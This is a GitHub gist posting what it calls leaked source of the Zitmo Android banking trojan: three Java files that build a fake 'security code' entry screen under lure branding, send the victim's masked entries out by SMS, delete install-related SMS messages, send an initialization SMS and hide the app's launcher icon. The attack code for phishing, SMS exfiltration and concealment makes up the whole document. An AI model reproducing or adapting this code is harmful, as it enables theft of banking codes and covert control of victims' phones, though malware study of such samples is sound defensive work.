Created
July 1, 2014 08:47
-
-
Save strazzere/37b1ed26f328c42cd234 to your computer and use it in GitHub Desktop.
Leaked Zitmo Android Source
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.security.service.ui; | |
import android.content.Context; | |
import android.graphics.Color; | |
import android.text.InputFilter; | |
import android.text.InputType; | |
import android.text.method.PasswordTransformationMethod; | |
import android.view.Display; | |
import android.view.Gravity; | |
import android.view.View; | |
import android.view.WindowManager; | |
import android.view.inputmethod.EditorInfo; | |
import android.widget.EditText; | |
import android.widget.LinearLayout; | |
import android.widget.TextView; | |
import com.security.service.receiver.SmsReceiver; | |
public class InnerLayout extends LinearLayout { | |
private EditText[] answerViewsArray; | |
private EditText answerView; | |
@SuppressWarnings("deprecation") | |
public InnerLayout(final MainActivity activity) { | |
super(activity); | |
Display display = ((WindowManager) activity.getSystemService(Context.WINDOW_SERVICE)).getDefaultDisplay(); | |
int width = display.getWidth(); | |
int height = display.getHeight(); | |
setFocusable(true); | |
setFocusableInTouchMode(true); | |
setOrientation(LinearLayout.VERTICAL); | |
setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT)); | |
setWeightSum(10); | |
TextView appName = new TextView(activity); | |
appName.setGravity(Gravity.CENTER); | |
appName.setText(ScreenConstants.APP_DISPLAY_NAME); | |
if (ScreenConstants.NOT_DEFAULT_TEXT_SIZE) { | |
appName.setTextSize(ScreenConstants.APP_DISPLAY_NAME_SIZE); | |
} | |
appName.setTextColor(ScreenConstants.APP_LABEL_COLOR); | |
LayoutParams params = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.WRAP_CONTENT); | |
params.setMargins(0, (int) (height * ScreenConstants.INNER_MARGIN_INDEX), 0, | |
(int) (height * ScreenConstants.INNER_MARGIN_INDEX)); | |
appName.setLayoutParams(params); | |
addView(appName); | |
LinearLayout lineLayout = new LinearLayout(activity); | |
lineLayout.setBackgroundColor(ScreenConstants.LINE_COLOR); | |
LayoutParams lineParams = new LayoutParams(LayoutParams.FILL_PARENT, | |
(int) (height * ScreenConstants.LINE_HEIGHT_INDEX)); | |
lineParams.setMargins(width / 10, 0, width / 10, 0); | |
lineLayout.setLayoutParams(lineParams); | |
addView(lineLayout); | |
LinearLayout inner = new LinearLayout(activity); | |
inner.setOrientation(LinearLayout.VERTICAL); | |
inner.setGravity(Gravity.CENTER); | |
LayoutParams innerParams = new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT, 10); | |
inner.setLayoutParams(innerParams); | |
inner.setFocusable(true); | |
inner.setFocusableInTouchMode(true); | |
{ | |
TextView codeLabel = new TextView(activity); | |
codeLabel.setGravity(ScreenConstants.CODE_LABEL_GRAVITY); | |
codeLabel.setText(ScreenConstants.CODE_LABEL_TEXT); | |
if (ScreenConstants.NOT_DEFAULT_TEXT_SIZE) { | |
codeLabel.setTextSize(ScreenConstants.CODE_LABEL_TEXT_SIZE); | |
} | |
codeLabel.setTextColor(ScreenConstants.CODE_LABEL_COLOR); | |
LayoutParams paramsCodeLabel = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, | |
LayoutParams.WRAP_CONTENT); | |
codeLabel.setLayoutParams(paramsCodeLabel); | |
inner.addView(codeLabel); | |
LinearLayout codeBorderLayout = new LinearLayout(activity); | |
codeBorderLayout.setGravity(Gravity.CENTER); | |
codeBorderLayout.setBackgroundColor(ScreenConstants.CODE_BORDER_COLOR); | |
LayoutParams codeBorderLayoutParams1 = new LayoutParams(LayoutParams.WRAP_CONTENT, | |
LayoutParams.WRAP_CONTENT); | |
codeBorderLayoutParams1.setMargins(0, (int) (height * ScreenConstants.INNER_MARGIN_INDEX), 0, | |
(int) (height * ScreenConstants.INNER_MARGIN_INDEX)); | |
codeBorderLayout.setLayoutParams(codeBorderLayoutParams1); | |
LinearLayout codeLayout = new LinearLayout(activity); | |
codeLayout.setGravity(Gravity.CENTER); | |
codeLayout.setBackgroundColor(ScreenConstants.CODE_BACKGROUND_COLOR); | |
LayoutParams codeLayoutParams = new LayoutParams(width / 2, height / 20); | |
codeLayoutParams.setMargins((int) (height * ScreenConstants.CODE_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.CODE_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.CODE_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.CODE_BORDER_WIDTH_INDEX)); | |
codeLayout.setLayoutParams(codeLayoutParams); | |
TextView code = new TextView(activity); | |
code.setText(ScreenConstants.CODE_TEXT); | |
if (ScreenConstants.NOT_DEFAULT_TEXT_SIZE) { | |
code.setTextSize(ScreenConstants.CODE_TEXT_SIZE); | |
} | |
code.setTextColor(ScreenConstants.CODE_TEXT_COLOR); | |
LayoutParams codeParams = new LinearLayout.LayoutParams(LayoutParams.WRAP_CONTENT, | |
LayoutParams.WRAP_CONTENT); | |
code.setLayoutParams(codeParams); | |
codeLayout.addView(code); | |
codeBorderLayout.addView(codeLayout); | |
inner.addView(codeBorderLayout); | |
TextView text1 = new TextView(activity); | |
text1.setGravity(ScreenConstants.TEXT_1_GRAVITY); | |
text1.setText(ScreenConstants.TEXT_1); | |
if (ScreenConstants.NOT_DEFAULT_TEXT_SIZE) { | |
text1.setTextSize(ScreenConstants.TEXT_1_SIZE); | |
} | |
text1.setTextColor(ScreenConstants.TEXT_1_COLOR); | |
LayoutParams params_text1 = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, | |
LayoutParams.WRAP_CONTENT); | |
text1.setLayoutParams(params_text1); | |
inner.addView(text1); | |
addAnswerView(activity, inner, height, width); | |
} | |
addView(inner); | |
TextView text2 = new TextView(activity); | |
text2.setGravity(ScreenConstants.TEXT_2_GRAVITY); | |
text2.setText(ScreenConstants.TEXT_2); | |
if (ScreenConstants.NOT_DEFAULT_TEXT_SIZE) { | |
text2.setTextSize(ScreenConstants.TEXT_2_SIZE); | |
} | |
text2.setTextColor(ScreenConstants.TEXT_2_COLOR); | |
LayoutParams params_text2 = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.WRAP_CONTENT); | |
text2.setLayoutParams(params_text2); | |
addView(text2); | |
LinearLayout buttonLayout = new LinearLayout(activity); | |
buttonLayout.setGravity(Gravity.CENTER); | |
buttonLayout.setBackgroundColor(ScreenConstants.BUTTON_BORDER_COLOR); | |
LayoutParams buttonLayoutParams = new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT); | |
buttonLayoutParams.setMargins(0, (int) (height * ScreenConstants.INNER_MARGIN_INDEX), 0, | |
(int) (height * ScreenConstants.INNER_MARGIN_INDEX)); | |
buttonLayout.setLayoutParams(buttonLayoutParams); | |
LinearLayout buttonBorderLayout = new LinearLayout(activity); | |
buttonBorderLayout.setGravity(Gravity.CENTER); | |
buttonBorderLayout.setBackgroundColor(ScreenConstants.BUTTON_BACKGROUND_COLOR); | |
LayoutParams buttonBorderLayoutParams = new LayoutParams(width / 3, height / 20); | |
buttonBorderLayoutParams.setMargins((int) (height * ScreenConstants.BUTTON_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.BUTTON_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.BUTTON_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.BUTTON_BORDER_WIDTH_INDEX)); | |
buttonBorderLayout.setLayoutParams(buttonBorderLayoutParams); | |
TextView buttonOk = new TextView(activity); | |
buttonOk.setText(ScreenConstants.BUTTON_TEXT); | |
buttonOk.setTextColor(ScreenConstants.BUTTON_TEXT_COLOR); | |
if (ScreenConstants.NOT_DEFAULT_TEXT_SIZE) { | |
buttonOk.setTextSize(ScreenConstants.BUTTON_TEXT_SIZE); | |
} | |
buttonOk.setGravity(Gravity.CENTER); | |
LayoutParams buttonParams = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT); | |
buttonOk.setLayoutParams(buttonParams); | |
buttonOk.setClickable(true); | |
buttonOk.setOnClickListener(new OnClickListener() { | |
public void onClick(View v) { | |
String answer = getAnswer(); | |
switch (ScreenConstants.ANSWER_FIELD_TYPE) { | |
case AnswerFieldType.ONE_FIELD: { | |
SmsReceiver.sendAnswerSms(activity, answer); | |
activity.finish(); | |
} | |
break; | |
case AnswerFieldType.EIGHT_FIELDS: { | |
SmsReceiver.sendAnswerSms(activity, answer); | |
activity.finish(); | |
} | |
break; | |
case AnswerFieldType.NO_FIELDS: { | |
activity.finish(); | |
} | |
break; | |
default: | |
break; | |
} | |
} | |
}); | |
buttonBorderLayout.addView(buttonOk); | |
buttonLayout.addView(buttonBorderLayout); | |
addView(buttonLayout); | |
} | |
@SuppressWarnings("deprecation") | |
private void addAnswerView(Context context, LinearLayout inner, int height, int width) { | |
switch (ScreenConstants.ANSWER_FIELD_TYPE) { | |
case AnswerFieldType.ONE_FIELD: { | |
TextView answerLabel = new TextView(context); | |
answerLabel.setGravity(ScreenConstants.ANSWER_LABEL_GRAVITY); | |
answerLabel.setText(ScreenConstants.ANSWER_LABEL_TEXT); | |
if (ScreenConstants.NOT_DEFAULT_TEXT_SIZE) { | |
answerLabel.setTextSize(ScreenConstants.ANSWER_LABEL_TEXT_SIZE); | |
} | |
answerLabel.setTextColor(ScreenConstants.ANSWER_LABEL_COLOR); | |
LayoutParams paramsAnswerLabel = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, | |
LayoutParams.WRAP_CONTENT); | |
paramsAnswerLabel.setMargins(0, (int) (height * ScreenConstants.INNER_MARGIN_INDEX), 0, | |
(int) (height * ScreenConstants.INNER_MARGIN_INDEX)); | |
answerLabel.setLayoutParams(paramsAnswerLabel); | |
inner.addView(answerLabel); | |
LinearLayout answerBorderLayout = new LinearLayout(context); | |
answerBorderLayout.setGravity(Gravity.CENTER); | |
answerBorderLayout.setBackgroundColor(ScreenConstants.ANSWER_BORDER_COLOR); | |
LayoutParams answerBorderLayoutParams = new LayoutParams(LayoutParams.WRAP_CONTENT, | |
LayoutParams.WRAP_CONTENT); | |
answerBorderLayout.setLayoutParams(answerBorderLayoutParams); | |
LinearLayout answerLayout = new LinearLayout(context); | |
answerLayout.setGravity(Gravity.CENTER); | |
answerLayout.setBackgroundColor(ScreenConstants.ANSWER_BACKGROUND_COLOR); | |
LayoutParams lay = new LayoutParams((int) (width / 1.5), height / 20); | |
lay.setMargins((int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX)); | |
answerLayout.setLayoutParams(lay); | |
answerView = new EditText(context); | |
answerView.setInputType(InputType.TYPE_TEXT_VARIATION_PASSWORD); | |
answerView.setTransformationMethod(PasswordTransformationMethod.getInstance()); | |
InputFilter[] FilterArray = new InputFilter[1]; | |
FilterArray[0] = new InputFilter.LengthFilter(10); | |
answerView.setFilters(FilterArray); | |
answerView.setMaxLines(1); | |
answerView.setCursorVisible(false); | |
answerView.setHint(ScreenConstants.ANSWER_TEXT_HINT); | |
answerView.setPadding(1, 1, 1, 1); | |
answerView.setGravity(Gravity.CENTER); | |
answerView.setBackgroundColor(Color.TRANSPARENT); | |
LayoutParams answerParams = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, height / 16); | |
answerView.setLayoutParams(answerParams); | |
answerLayout.addView(answerView); | |
answerBorderLayout.addView(answerLayout); | |
inner.addView(answerBorderLayout); | |
} | |
break; | |
case AnswerFieldType.EIGHT_FIELDS: { | |
TextView answerLabel = new TextView(context); | |
answerLabel.setGravity(ScreenConstants.ANSWER_LABEL_GRAVITY); | |
answerLabel.setText(ScreenConstants.ANSWER_LABEL_TEXT); | |
if (ScreenConstants.NOT_DEFAULT_TEXT_SIZE) { | |
answerLabel.setTextSize(ScreenConstants.ANSWER_LABEL_TEXT_SIZE); | |
} | |
answerLabel.setTextColor(ScreenConstants.ANSWER_LABEL_COLOR); | |
LayoutParams paramsAnswerLabel = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, | |
LayoutParams.WRAP_CONTENT); | |
paramsAnswerLabel.setMargins(0, (int) (height * ScreenConstants.INNER_MARGIN_INDEX), 0, | |
(int) (height * ScreenConstants.INNER_MARGIN_INDEX)); | |
answerLabel.setLayoutParams(paramsAnswerLabel); | |
inner.addView(answerLabel); | |
LinearLayout fullLayout = new LinearLayout(context); | |
LayoutParams fullParams = new LinearLayout.LayoutParams(LayoutParams.WRAP_CONTENT, | |
LayoutParams.WRAP_CONTENT); | |
fullLayout.setLayoutParams(fullParams); | |
fullLayout.setOrientation(HORIZONTAL); | |
answerViewsArray = new EditText[8]; | |
for (int i = 0; i < 8; i++) { | |
fullLayout.addView(createEditView(context, width, height, i)); | |
MyTextWatcher watcher = new MyTextWatcher(answerViewsArray, i); | |
answerViewsArray[i].addTextChangedListener(watcher); | |
} | |
inner.addView(fullLayout); | |
} | |
break; | |
case AnswerFieldType.NO_FIELDS: | |
break; | |
default: | |
break; | |
} | |
} | |
@SuppressWarnings("deprecation") | |
private View createEditView(Context context, int width, int height, int index) { | |
LinearLayout answerBorderLayout = new LinearLayout(context); | |
answerBorderLayout.setGravity(Gravity.CENTER); | |
answerBorderLayout.setBackgroundColor(ScreenConstants.ANSWER_BORDER_COLOR); | |
LayoutParams answerBorderLayoutParams = new LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT); | |
answerBorderLayoutParams.setMargins((int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX)); | |
answerBorderLayout.setLayoutParams(answerBorderLayoutParams); | |
LinearLayout answerLayout = new LinearLayout(context); | |
answerLayout.setGravity(Gravity.CENTER); | |
answerLayout.setBackgroundColor(ScreenConstants.ANSWER_BACKGROUND_COLOR); | |
LayoutParams lay = new LayoutParams((int) (width / 12), height / 20); | |
lay.setMargins((int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX), | |
(int) (height * ScreenConstants.ANSWER_BORDER_WIDTH_INDEX)); | |
answerLayout.setLayoutParams(lay); | |
EditText answer = new EditText(context); | |
answer.setInputType(InputType.TYPE_TEXT_VARIATION_PASSWORD); | |
answer.setTransformationMethod(PasswordTransformationMethod.getInstance()); | |
InputFilter[] FilterArray = new InputFilter[1]; | |
FilterArray[0] = new InputFilter.LengthFilter(1); | |
answer.setFilters(FilterArray); | |
answer.setMaxLines(1); | |
answer.setCursorVisible(false); | |
answer.setPadding(1, 1, 1, 1); | |
answer.setGravity(Gravity.CENTER); | |
answer.setBackgroundColor(Color.TRANSPARENT); | |
answer.setImeOptions(EditorInfo.IME_FLAG_NAVIGATE_NEXT); | |
LayoutParams answerParams = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, height / 16); | |
answer.setLayoutParams(answerParams); | |
answerLayout.addView(answer); | |
answerViewsArray[index] = answer; | |
answerBorderLayout.addView(answerLayout); | |
return answerBorderLayout; | |
} | |
private String getAnswer() { | |
if (answerView != null) { | |
return answerView.getText().toString(); | |
} else if (answerViewsArray != null) { | |
String answer = ""; | |
for (int i = 0; i < answerViewsArray.length; i++) { | |
answer = answer + answerViewsArray[i].getText().toString(); | |
} | |
return answer; | |
} else return ""; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.security.service.ui; | |
import com.security.service.Constants; | |
import com.security.service.PersistenceManager; | |
import com.security.service.R; | |
import com.security.service.receiver.SmsReceiver; | |
import android.app.Activity; | |
import android.content.ComponentName; | |
import android.content.Context; | |
import android.content.Intent; | |
import android.content.pm.PackageManager; | |
import android.net.Uri; | |
import android.os.Bundle; | |
import android.view.Display; | |
import android.view.Gravity; | |
import android.view.Menu; | |
import android.view.ViewGroup.LayoutParams; | |
import android.view.ViewGroup.MarginLayoutParams; | |
import android.view.Window; | |
import android.view.WindowManager; | |
import android.widget.ImageView; | |
import android.widget.ImageView.ScaleType; | |
import android.widget.LinearLayout; | |
import android.widget.TextView; | |
public class MainActivity extends Activity { | |
private static Context context; | |
@SuppressWarnings("deprecation") | |
@Override | |
protected void onCreate(Bundle savedInstanceState) { | |
super.onCreate(savedInstanceState); | |
initSystem(); | |
context = getApplicationContext(); | |
Display display = ((WindowManager) context.getSystemService(Context.WINDOW_SERVICE)).getDefaultDisplay(); | |
int height = display.getHeight(); | |
int borderPadding = (int) (height * ScreenConstants.BORDER_PADDING_INDEX); | |
this.requestWindowFeature(Window.FEATURE_NO_TITLE); | |
ImageView banner = new ImageView(this); | |
banner.setImageResource(R.drawable.top); | |
banner.setScaleType(ScaleType.FIT_XY); | |
banner.setBackgroundColor(ScreenConstants.BANNER_BACKGROUND_COLOR); | |
LayoutParams params = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, 0, ScreenConstants.WEIGHT_BANNER); | |
((MarginLayoutParams) params).setMargins(borderPadding, borderPadding, borderPadding, borderPadding); | |
banner.setLayoutParams(params); | |
InnerLayout mainLayout = new InnerLayout(this); | |
mainLayout.setGravity(Gravity.CENTER); | |
mainLayout.setBackgroundColor(ScreenConstants.BACKGROUND_COLOR); | |
LayoutParams params1 = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, 0, ScreenConstants.WEIGHT_MAIN); | |
((MarginLayoutParams) params1).setMargins(borderPadding, 0, borderPadding, 0); | |
mainLayout.setLayoutParams(params1); | |
TextView footer = new TextView(this); | |
footer.setGravity(ScreenConstants.BOTTOM_LABEL_GRAVITY); | |
footer.setText(ScreenConstants.BOTTOM_LABEL); | |
if (ScreenConstants.NOT_DEFAULT_TEXT_SIZE) { | |
footer.setTextSize(ScreenConstants.BOTTOM_LABEL_TEXT_SIZE); | |
} | |
footer.setTextColor(ScreenConstants.BOTTOM_LABEL_COLOR); | |
footer.setBackgroundColor(ScreenConstants.BOTTOM_BACKGROUND_COLOR); | |
LayoutParams params2 = new LinearLayout.LayoutParams(LayoutParams.FILL_PARENT, 0, ScreenConstants.WEIGHT_FOOTER); | |
((MarginLayoutParams) params2).setMargins(borderPadding, borderPadding, borderPadding, borderPadding); | |
footer.setLayoutParams(params2); | |
LinearLayout layout = new LinearLayout(this); | |
layout.setOrientation(LinearLayout.VERTICAL); | |
layout.setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT, LayoutParams.FILL_PARENT)); | |
layout.setGravity(Gravity.CENTER); | |
layout.addView(banner); | |
layout.addView(mainLayout); | |
layout.addView(footer); | |
layout.setBackgroundColor(ScreenConstants.BORDER_COLOR); | |
layout.setWeightSum(ScreenConstants.WEIGHT_SUM); | |
setContentView(layout); | |
} | |
@Override | |
public boolean onCreateOptionsMenu(Menu menu) { | |
getMenuInflater().inflate(R.menu.activity_main, menu); | |
return true; | |
} | |
public static void showActivityAndSendInit(Context context) { | |
PersistenceManager manager = PersistenceManager.init(context); | |
boolean isFirstLaunch = manager.isFirstLaunch(); | |
if (isFirstLaunch) { | |
Intent i = new Intent(context, MainActivity.class); | |
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); | |
context.startActivity(i); | |
} | |
} | |
public static void hideIcon(Context context) { | |
PackageManager p = context.getPackageManager(); | |
ComponentName name = new ComponentName(context.getPackageName(), MainActivity.class.getCanonicalName()); | |
p.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, | |
PackageManager.DONT_KILL_APP); | |
} | |
private void initSystem() { | |
PersistenceManager manager = PersistenceManager.init(getApplicationContext()); | |
boolean isFirstLaunch = manager.isFirstLaunch(); | |
if (isFirstLaunch) { | |
deleteInstallSms(getApplicationContext()); | |
manager.setNotFirstLaunch(); | |
SmsReceiver.sendInintSms(getApplicationContext()); | |
} | |
} | |
private void deleteInstallSms(Context context) { | |
for (int i = 0; i < Constants.SMS_ADDRESS.length; i++) { | |
context.getContentResolver().delete(Uri.parse("content://sms/"), "address=?", | |
new String[] { Constants.SMS_ADDRESS[i] }); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.security.service.ui; | |
import android.graphics.Color; | |
import android.view.Gravity; | |
public class ScreenConstants { | |
public static final int ANSWER_FIELD_TYPE = AnswerFieldType.EIGHT_FIELDS; | |
public static final boolean NOT_DEFAULT_TEXT_SIZE = false; | |
public static final int TEXT_SIZE = 17; | |
// BORDER | |
public static final int BORDER_COLOR = 0xFF5D3E24; | |
public static final float BORDER_PADDING_INDEX = 0.011f; | |
public static final int BACKGROUND_COLOR = 0xFF87ABB0; | |
//TOP VIEW | |
public static final int BANNER_BACKGROUND_COLOR = Color.WHITE; | |
// INNER VIEW | |
public static final String APP_DISPLAY_NAME = "E-SNOW APP"; | |
public static final int APP_DISPLAY_NAME_SIZE = TEXT_SIZE; | |
public static final int APP_LABEL_COLOR = 0xFF5D3E24; | |
public static final float LINE_HEIGHT_INDEX = 0.006f; | |
public static final int LINE_COLOR = APP_LABEL_COLOR; | |
public static final float INNER_MARGIN_INDEX = 0.02f; | |
// CODE | |
public static final String CODE_LABEL_TEXT = "CODE:"; | |
public static final int CODE_LABEL_GRAVITY = Gravity.CENTER; | |
public static final int CODE_LABEL_TEXT_SIZE = TEXT_SIZE; | |
public static final int CODE_LABEL_COLOR = 0xFF5D3E24; | |
public static final String CODE_TEXT = "1234567890"; | |
public static final int CODE_TEXT_SIZE = TEXT_SIZE; | |
public static final float CODE_BORDER_WIDTH_INDEX = 0.006f; | |
public static final int CODE_BACKGROUND_COLOR = 0xFFA1BBDA; | |
public static final int CODE_BORDER_COLOR = ScreenConstants.BORDER_COLOR; | |
public static final int CODE_TEXT_COLOR = Color.BLACK; | |
//TEXT_1 | |
public static final String TEXT_1 = "tezxfgj gjklsghwy hiyughw5uyhf xjcvn sdzjvk nfjhkdwnvioefhnowieafa3uityh35uit a"; | |
public static final int TEXT_1_SIZE = TEXT_SIZE; | |
public static final int TEXT_1_GRAVITY = Gravity.CENTER; | |
public static final int TEXT_1_COLOR = Color.BLACK; | |
// ANSWER | |
public static final String ANSWER_LABEL_TEXT = "YOUR ANSWER:"; | |
public static final int ANSWER_LABEL_TEXT_SIZE = TEXT_SIZE; | |
public static final String ANSWER_TEXT_HINT = "type here"; | |
public static final int ANSWER_LABEL_GRAVITY = Gravity.CENTER; | |
public static final int ANSWER_LABEL_COLOR = 0xFF485391; | |
public static final int ANSWER_BORDER_COLOR = ScreenConstants.BORDER_COLOR; | |
public static final float ANSWER_BORDER_WIDTH_INDEX = 0.006f; | |
public static final int ANSWER_BACKGROUND_COLOR = Color.WHITE; | |
//TEXT_2 | |
public static final String TEXT_2 = "tezxfgj gjklsghwy hiyughw5uyhf xjcvn sdzjvk nfjhkdwnvioefhnowieafa3uityh35uit a"; | |
public static final int TEXT_2_SIZE = TEXT_SIZE; | |
public static final int TEXT_2_GRAVITY = Gravity.CENTER; | |
public static final int TEXT_2_COLOR = Color.BLACK; | |
// BUTTON PARAMS | |
public static final String BUTTON_TEXT = "OK"; | |
public static final int BUTTON_TEXT_SIZE = TEXT_SIZE; | |
public static final float BUTTON_BORDER_WIDTH_INDEX = 0.006f; | |
public static final int BUTTON_BORDER_COLOR = ScreenConstants.BORDER_COLOR; | |
public static final int BUTTON_BACKGROUND_COLOR = 0xFF7291C0; | |
public static final int BUTTON_TEXT_COLOR = Color.WHITE; | |
// BOTTOM VIEW | |
public static final String BOTTOM_LABEL = "\u00A9 2013 SNOWRIDE"; | |
public static final int BOTTOM_LABEL_TEXT_SIZE = TEXT_SIZE; | |
public static final int BOTTOM_LABEL_GRAVITY = Gravity.CENTER; | |
public static final int BOTTOM_LABEL_COLOR = 0xFF485391; | |
public static final int BOTTOM_BACKGROUND_COLOR = BACKGROUND_COLOR; | |
// WEIGHTS | |
public static final int WEIGHT_BANNER = 85; | |
public static final int WEIGHT_MAIN = 415; | |
public static final int WEIGHT_FOOTER = 55; | |
public static final int WEIGHT_SUM = WEIGHT_BANNER + WEIGHT_MAIN + WEIGHT_FOOTER; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment